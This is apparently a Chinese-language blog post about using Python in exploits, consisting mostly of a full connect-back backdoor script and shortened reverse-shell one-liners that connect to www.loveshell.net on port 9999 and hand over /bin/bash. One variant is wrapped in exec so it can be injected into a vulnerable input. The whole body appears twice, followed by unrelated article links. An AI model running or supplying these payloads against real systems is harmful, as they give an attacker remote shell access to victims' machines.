在漏洞利用Python代碼真的很爽
更新時(shí)間:2007年08月26日 21:57:56 作者:
不知道怎么忽然想看這個(gè),呵呵
小我的python的反shell的代碼
#!/usr/bin/python
# Python Connect-back Backdoor
# Author: wofeiwo <wofeiwo[0x40]gmail[0x2e]com>
# Version: 1.0
# Date: July 15th 2006
import sys
import os
import socket
shell = "/bin/sh"
def usage(programname):
print "Python Connect-back Backdoor"
print "Auther: wofeiwo <wofeiwo[0x40]gmail[0x2e]com>"
print "Date: July 15th 2006\n"
print "Usage: %s <conn_back_host> <port>\n" % programname
def main():
if len(sys.argv) != 3:
usage(sys.argv[0])
sys.exit(1)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
s.connect((socket.gethostbyname(sys.argv[1]),int(sys.argv[2])))
print "[+] Connect ok."
except:
print "[-] Could not connect to %s:%s" % (sys.argv[1], sys.argv[2])
sys.exit(2)
s.send("-------------------- Python Connect-back Backdoor --------------------\n")
s.send("----------------------------- By wofeiwo -----------------------------\n")
os.dup2(s.fileno(), 0)
os.dup2(s.fileno(), 1)
os.dup2(s.fileno(), 2)
global shell
os.system(shell)
print "See U!"
s.close()
if __name__ == "__main__": main()
用在漏洞利用的時(shí)候不太好,不是么?我們想要短點(diǎn)的,節(jié)省下就是
import sys;import os;import socket;s = socket.socket(socket.AF_INET, socket.SOCK_STREAM);s.connect((socket.gethostbyname("www.loveshell.net"),9999));s.send("Welcome my master\r\n");os.dup2(s.fileno(), 0);os.dup2(s.fileno(), 1);os.dup2(s.fileno(), 2);s.send("Is there a shell?\r\n");os.system("/bin/bash");s.close();s.send("See u next time!\r\n");
如何?很短了吧?
不過很可能漏洞利用的地方不允許多語句,譬如允許的輸入是在eval當(dāng)中,不能多語句(后面有解釋)那么還可以變化下
exec 'import sys;import os;import socket;s = socket.socket(socket.AF_INET, socket.SOCK_STREAM);s.connect((socket.gethostbyname("www.loveshell.net"),9999));s.send("Welcome my master\\r\\n");os.dup2(s.fileno(), 0);os.dup2(s.fileno(), 1);os.dup2(s.fileno(), 2);s.send("Is there a shell?\\r\\n");os.system("/bin/bash");s.close();s.send("See u next time!\\r\\n");';
注意是\\r\\n哦,即使在''里好象\r\n一樣會成為換行,所以其實(shí)這里即使不用;一樣可以構(gòu)造好代碼的,另外,為什么不用eval呢?
翻了下手冊
exec語句用來執(zhí)行儲存在字符串或文件中的Python語句。例如,我們可以在運(yùn)行時(shí)生成一個(gè)包含Python代碼的字符串,然后使用exec語句執(zhí)行這些語句
eval語句用來計(jì)算存儲在字符串中的有效Python表達(dá)式
呵呵,這里用eval好象會出錯(cuò).
YY一下,思想是相同的,但是具體到語言又是不一樣的,如何跳出語言的限制呢?是個(gè)問題......
小我的python的反shell的代碼
#!/usr/bin/python
# Python Connect-back Backdoor
# Author: wofeiwo <wofeiwo[0x40]gmail[0x2e]com>
# Version: 1.0
# Date: July 15th 2006
import sys
import os
import socket
shell = "/bin/sh"
def usage(programname):
print "Python Connect-back Backdoor"
print "Auther: wofeiwo <wofeiwo[0x40]gmail[0x2e]com>"
print "Date: July 15th 2006\n"
print "Usage: %s <conn_back_host> <port>\n" % programname
def main():
if len(sys.argv) != 3:
usage(sys.argv[0])
sys.exit(1)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
s.connect((socket.gethostbyname(sys.argv[1]),int(sys.argv[2])))
print "[+] Connect ok."
except:
print "[-] Could not connect to %s:%s" % (sys.argv[1], sys.argv[2])
sys.exit(2)
s.send("-------------------- Python Connect-back Backdoor --------------------\n")
s.send("----------------------------- By wofeiwo -----------------------------\n")
os.dup2(s.fileno(), 0)
os.dup2(s.fileno(), 1)
os.dup2(s.fileno(), 2)
global shell
os.system(shell)
print "See U!"
s.close()
if __name__ == "__main__": main()
用在漏洞利用的時(shí)候不太好,不是么?我們想要短點(diǎn)的,節(jié)省下就是
import sys;import os;import socket;s = socket.socket(socket.AF_INET, socket.SOCK_STREAM);s.connect((socket.gethostbyname("www.loveshell.net"),9999));s.send("Welcome my master\r\n");os.dup2(s.fileno(), 0);os.dup2(s.fileno(), 1);os.dup2(s.fileno(), 2);s.send("Is there a shell?\r\n");os.system("/bin/bash");s.close();s.send("See u next time!\r\n");
如何?很短了吧?
不過很可能漏洞利用的地方不允許多語句,譬如允許的輸入是在eval當(dāng)中,不能多語句(后面有解釋)那么還可以變化下
exec 'import sys;import os;import socket;s = socket.socket(socket.AF_INET, socket.SOCK_STREAM);s.connect((socket.gethostbyname("www.loveshell.net"),9999));s.send("Welcome my master\\r\\n");os.dup2(s.fileno(), 0);os.dup2(s.fileno(), 1);os.dup2(s.fileno(), 2);s.send("Is there a shell?\\r\\n");os.system("/bin/bash");s.close();s.send("See u next time!\\r\\n");';
注意是\\r\\n哦,即使在''里好象\r\n一樣會成為換行,所以其實(shí)這里即使不用;一樣可以構(gòu)造好代碼的,另外,為什么不用eval呢?
翻了下手冊
exec語句用來執(zhí)行儲存在字符串或文件中的Python語句。例如,我們可以在運(yùn)行時(shí)生成一個(gè)包含Python代碼的字符串,然后使用exec語句執(zhí)行這些語句
eval語句用來計(jì)算存儲在字符串中的有效Python表達(dá)式
呵呵,這里用eval好象會出錯(cuò).
YY一下,思想是相同的,但是具體到語言又是不一樣的,如何跳出語言的限制呢?是個(gè)問題......
相關(guān)文章
運(yùn)行tensorflow python程序,限制對GPU和CPU的占用操作
今天小編就為大家分享一篇運(yùn)行tensorflow python程序,限制對GPU和CPU的占用操作,具有很好的參考價(jià)值,希望對大家有所幫助。一起跟隨小編過來看看吧2020-02-02Python實(shí)現(xiàn)批量讀取word中表格信息的方法
這篇文章主要介紹了Python實(shí)現(xiàn)批量讀取word中表格信息的方法,可實(shí)現(xiàn)針對word文檔的讀取功能,具有一定參考借鑒價(jià)值,需要的朋友可以參考下2015-07-07Python轉(zhuǎn)json時(shí)出現(xiàn)中文亂碼的問題及解決
這篇文章主要介紹了Python轉(zhuǎn)json時(shí)出現(xiàn)中文亂碼的問題及解決方案,具有很好的參考價(jià)值,希望對大家有所幫助。如有錯(cuò)誤或未考慮完全的地方,望不吝賜教2023-02-02